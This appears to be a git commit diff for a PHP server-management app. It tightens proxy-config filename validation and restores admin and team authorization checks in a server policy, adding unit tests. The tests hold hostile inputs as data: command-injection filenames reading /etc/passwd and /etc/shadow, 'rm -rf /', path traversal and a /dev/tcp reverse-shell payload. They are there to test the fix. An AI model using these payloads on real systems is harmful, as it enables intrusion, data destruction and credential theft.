fix(proxy): tighten config validation
This commit is contained in:
parent
4d0be415c8
commit
419593e7d4
5 changed files with 121 additions and 33 deletions
|
|
@ -28,12 +28,11 @@ public function delete(string $fileName)
|
|||
|
||||
// Decode filename: pipes are used to encode dots for Livewire property binding
|
||||
// (e.g., 'my|service.yaml' -> 'my.service.yaml')
|
||||
// This must happen BEFORE validation because validateShellSafePath() correctly
|
||||
// rejects pipe characters as dangerous shell metacharacters
|
||||
// This must happen BEFORE validation because validateFilenameSafe()
|
||||
// rejects pipe characters through validateShellSafePath().
|
||||
$file = str_replace('|', '.', $fileName);
|
||||
|
||||
// Validate filename to prevent command injection
|
||||
validateShellSafePath($file, 'proxy configuration filename');
|
||||
validateFilenameSafe($file, 'proxy configuration filename');
|
||||
|
||||
if ($proxy_type === 'CADDY' && $file === 'Caddyfile') {
|
||||
$this->dispatch('error', 'Cannot delete Caddyfile.');
|
||||
|
|
|
|||
|
|
@ -43,8 +43,7 @@ public function addDynamicConfiguration()
|
|||
'value' => 'required',
|
||||
]);
|
||||
|
||||
// Additional security validation to prevent command injection
|
||||
validateShellSafePath($this->fileName, 'proxy configuration filename');
|
||||
validateFilenameSafe($this->fileName, 'proxy configuration filename');
|
||||
|
||||
if (data_get($this->parameters, 'server_uuid')) {
|
||||
$this->server = Server::ownedByCurrentTeam()->whereUuid(data_get($this->parameters, 'server_uuid'))->first();
|
||||
|
|
|
|||
|
|
@ -28,8 +28,7 @@ public function view(User $user, Server $server): bool
|
|||
*/
|
||||
public function create(User $user): bool
|
||||
{
|
||||
// return $user->isAdmin();
|
||||
return true;
|
||||
return $user->isAdmin();
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -37,8 +36,7 @@ public function create(User $user): bool
|
|||
*/
|
||||
public function update(User $user, Server $server): bool
|
||||
{
|
||||
// return $user->isAdmin() && $user->teams->contains('id', $server->team_id);
|
||||
return true;
|
||||
return $this->canManageServer($user, $server);
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -46,8 +44,7 @@ public function update(User $user, Server $server): bool
|
|||
*/
|
||||
public function delete(User $user, Server $server): bool
|
||||
{
|
||||
// return $user->isAdmin() && $user->teams->contains('id', $server->team_id);
|
||||
return true;
|
||||
return $this->canManageServer($user, $server);
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -71,8 +68,7 @@ public function forceDelete(User $user, Server $server): bool
|
|||
*/
|
||||
public function manageProxy(User $user, Server $server): bool
|
||||
{
|
||||
// return $user->isAdmin() && $user->teams->contains('id', $server->team_id);
|
||||
return true;
|
||||
return $this->canManageServer($user, $server);
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -80,8 +76,7 @@ public function manageProxy(User $user, Server $server): bool
|
|||
*/
|
||||
public function manageSentinel(User $user, Server $server): bool
|
||||
{
|
||||
// return $user->isAdmin() && $user->teams->contains('id', $server->team_id);
|
||||
return true;
|
||||
return $this->canManageServer($user, $server);
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -89,8 +84,7 @@ public function manageSentinel(User $user, Server $server): bool
|
|||
*/
|
||||
public function manageCaCertificate(User $user, Server $server): bool
|
||||
{
|
||||
// return $user->isAdmin() && $user->teams->contains('id', $server->team_id);
|
||||
return true;
|
||||
return $this->canManageServer($user, $server);
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -98,7 +92,11 @@ public function manageCaCertificate(User $user, Server $server): bool
|
|||
*/
|
||||
public function viewSecurity(User $user, Server $server): bool
|
||||
{
|
||||
// return $user->isAdmin() && $user->teams->contains('id', $server->team_id);
|
||||
return true;
|
||||
return $this->canManageServer($user, $server);
|
||||
}
|
||||
|
||||
private function canManageServer(User $user, Server $server): bool
|
||||
{
|
||||
return $user->isAdmin() && $user->teams->contains('id', $server->team_id);
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -12,43 +12,69 @@
|
|||
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
|
||||
*/
|
||||
test('proxy configuration rejects command injection in filename with command substitution', function () {
|
||||
expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with semicolon', function () {
|
||||
expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with pipe', function () {
|
||||
expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with backticks', function () {
|
||||
expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with ampersand', function () {
|
||||
expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with redirect operators', function () {
|
||||
expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects reverse shell payload', function () {
|
||||
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects path traversal filenames', function (string $filename) {
|
||||
expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
})->with([
|
||||
'../VICTIM_FILE',
|
||||
'../../etc/shadow',
|
||||
'/etc/passwd',
|
||||
'subdir/config.yaml',
|
||||
'subdir\\config.yaml',
|
||||
'config..yaml',
|
||||
"config.yaml\0../../etc/passwd",
|
||||
]);
|
||||
|
||||
test('dynamic proxy components use filename-safe validation', function () {
|
||||
$deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php');
|
||||
$createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php');
|
||||
|
||||
expect($deleteComponent)
|
||||
->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')")
|
||||
->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')");
|
||||
|
||||
expect($createComponent)
|
||||
->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')")
|
||||
->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')");
|
||||
});
|
||||
|
||||
test('proxy configuration escapes filenames properly', function () {
|
||||
$filename = "config'test.yaml";
|
||||
$escaped = escapeshellarg($filename);
|
||||
|
|
@ -64,20 +90,20 @@
|
|||
});
|
||||
|
||||
test('proxy configuration accepts legitimate Traefik filenames', function () {
|
||||
expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration accepts legitimate Caddy filenames', function () {
|
||||
expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
|
|
|||
66
tests/Unit/ServerPolicyAuthorizationTest.php
Normal file
66
tests/Unit/ServerPolicyAuthorizationTest.php
Normal file
|
|
@ -0,0 +1,66 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use App\Policies\ServerPolicy;
|
||||
use Illuminate\Database\Eloquent\Relations\Pivot;
|
||||
|
||||
function userWithServerRole(int $teamId, string $role): User
|
||||
{
|
||||
$team = new Team;
|
||||
$team->setRawAttributes(['id' => $teamId], true);
|
||||
$team->setRelation('pivot', new Pivot(['role' => $role]));
|
||||
|
||||
$user = new User;
|
||||
$user->setRelation('teams', collect([$team]));
|
||||
$user->setRelation('pivot', new Pivot(['role' => $role]));
|
||||
|
||||
return $user;
|
||||
}
|
||||
|
||||
function serverPolicyServer(int $teamId): Server
|
||||
{
|
||||
$server = new Server;
|
||||
$server->setRawAttributes(['team_id' => $teamId], true);
|
||||
|
||||
return $server;
|
||||
}
|
||||
|
||||
test('server members cannot update or manage servers', function () {
|
||||
$policy = new ServerPolicy;
|
||||
$member = userWithServerRole(1, 'member');
|
||||
$server = serverPolicyServer(1);
|
||||
|
||||
expect($policy->update($member, $server))->toBeFalse()
|
||||
->and($policy->create($member))->toBeFalse()
|
||||
->and($policy->delete($member, $server))->toBeFalse()
|
||||
->and($policy->manageProxy($member, $server))->toBeFalse()
|
||||
->and($policy->manageSentinel($member, $server))->toBeFalse()
|
||||
->and($policy->manageCaCertificate($member, $server))->toBeFalse()
|
||||
->and($policy->viewSecurity($member, $server))->toBeFalse();
|
||||
});
|
||||
|
||||
test('server admins can update and manage servers in their team', function (string $role) {
|
||||
$policy = new ServerPolicy;
|
||||
$admin = userWithServerRole(1, $role);
|
||||
$server = serverPolicyServer(1);
|
||||
|
||||
expect($policy->update($admin, $server))->toBeTrue()
|
||||
->and($policy->create($admin))->toBeTrue()
|
||||
->and($policy->delete($admin, $server))->toBeTrue()
|
||||
->and($policy->manageProxy($admin, $server))->toBeTrue()
|
||||
->and($policy->manageSentinel($admin, $server))->toBeTrue()
|
||||
->and($policy->manageCaCertificate($admin, $server))->toBeTrue()
|
||||
->and($policy->viewSecurity($admin, $server))->toBeTrue();
|
||||
})->with(['admin', 'owner']);
|
||||
|
||||
test('server admins cannot update servers outside their team', function () {
|
||||
$policy = new ServerPolicy;
|
||||
$admin = userWithServerRole(2, 'admin');
|
||||
$server = serverPolicyServer(1);
|
||||
|
||||
expect($policy->update($admin, $server))->toBeFalse()
|
||||
->and($policy->delete($admin, $server))->toBeFalse()
|
||||
->and($policy->manageProxy($admin, $server))->toBeFalse();
|
||||
});
|
||||
Loading…
Reference in a new issue